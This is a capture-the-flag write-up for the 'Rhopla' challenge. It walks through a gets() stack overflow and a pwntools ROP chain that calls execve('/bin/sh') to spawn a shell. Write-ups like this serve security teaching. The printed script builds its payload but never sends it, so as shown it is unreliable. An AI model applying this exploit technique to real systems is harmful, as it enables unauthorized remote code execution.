Rhopla - InterIUT2022

Initial Statement


The goal of this challenge is simple. Gain an access over the server using a vulnerability in the software. Although this is a quite typical exploitation, there was only two solves on this challenge.


First thing to do with this kind of challenge is execute the file and checksec command on the binary.

$ file rhopla 
rhopla: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=985259f7b57d9f8094a8747a07a167d58f5862fd, for GNU/Linux 3.2.0, stripped
$ checksec --file=rhopla
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               2               rhopla

It's a basic x86_64 binary, with no canary and no PIE. We can assume ASLR is enabled on the remote server. And we don't have the libc.

Let's try to disassemble this binary. To do this I use IDA Free since we can use its cloud decompiler for x86_64 binaries.

__int64 __fastcall main(int a1, char **a2, char **a3)
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("What's your hacker name?");
  gets(v4, a2);
  printf("Welcome to the matrix, %s...\n", v4);
  return 0LL;

The code is very simple. The program asks for a user input and takes it using the gets command which doesn't perform any check on the length of the input. We can notice the binary is wrongly decompiled since gets only takes one argument. Then the program prints our input.

Okay so there is an obvious buffer overflow vulnerability. Let's exploit it.


There are two common ways of solving that kind of challenge. My first idea was trying to leak the address of puts in the libc using a ret2plt exploit, then compute its offset with system and binsh. So I could execute system("/bin/sh"). But I couldn't identify the version of the libc so I had to do something else.
The second way of solving that challenge is using ROP to achieve a call to ``execve("/bin/sh", [], 0)```

Let's do it.

Get gadgets

The first step is about gathering gadgets in the binary. Typically a gadget is a set of 0 to maybe 10 instructions before a ret instruction.
Here is what we need to perform a rop:

  • A way to control rax (syscall number)
  • A way to control rdi (1st argument on x86_64)
  • A way to control rsi (2nd argument)
  • A way to control rdx (3rd argument)
  • A way to write /bin/sh somewhere

I often use ROPgadget to get these gadgets. On x86_64, the pop rdi; ret and pop rsi; pop r15; ret are always present (at the end of the csu).

We have great gadgets that suits almost everything we need:

$ ROPgadget --binary=rhopla 
# [...]
0x0000000000401159 : pop rax ; ret
0x000000000040115e : pop rdi ; ret
0x000000000040116e : pop rdx ; ret
0x0000000000401229 : pop rsi ; pop r15 ; ret
0x0000000000401174 : syscall

Our problem is.. there is no way to achieve a write what where. So after minutes of brainstorming, I decided to randomly strings the binary to check if maybe the /bin/sh string is already present... Bingo:

Let's jump to its location using IDA:

It's at the end of the .data segment. This segment doesn't move unless there is PIE. So we will be able to use it as is in our exploit.
Which gives us:

0x0000000000404048: /bin/sh

Let's write our exploit!

Exploit time

Our payload will look like this:

[ Junk 16x ] + [ Junk 8x ] + [ ropchain ]

Why 16 + 8 ? Simply because the default stack layout on x86_64 looks like this:

|          |        |        |
| Buffers  |  sRBP  |  sRIP  |
|          |        |        |

So we need to overwrite stored RBP before overwriting our sRIP.

We can find the syscall table at this url: syscall table

Here is the solve script:

from pwn import *

elf = ELF('./rhopla')

#r = remote('rhopla.interiut2022', 6666) # remote only
r = elf.process()

r.recvline() # blabla what's your name

payload = b'A' * 16 # buffer
payload += b'B' * 8 # sRBP
payload += p64(0x0000000000401159) # pop rax; ret
payload += p64(0x3b) # execve syscall
payload += p64(0x000000000040115e) # pop rdi; ret
payload += p64(0x0000000000404048) # /bin/sh
payload += p64(0x0000000000401229) # pop rsi; pop r15; ret
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x000000000040116e) # pop rdx; ret, not really necessary
payload += p64(0x0)
payload += p64(0x0000000000401174) # syscall


r.interactive() # get shell

And we get a shell !


(At the time writing this write up, the challenges are down. Trust me, it works remotely ;))

Thanks to 0xEOL for the cool challenge

Show Comments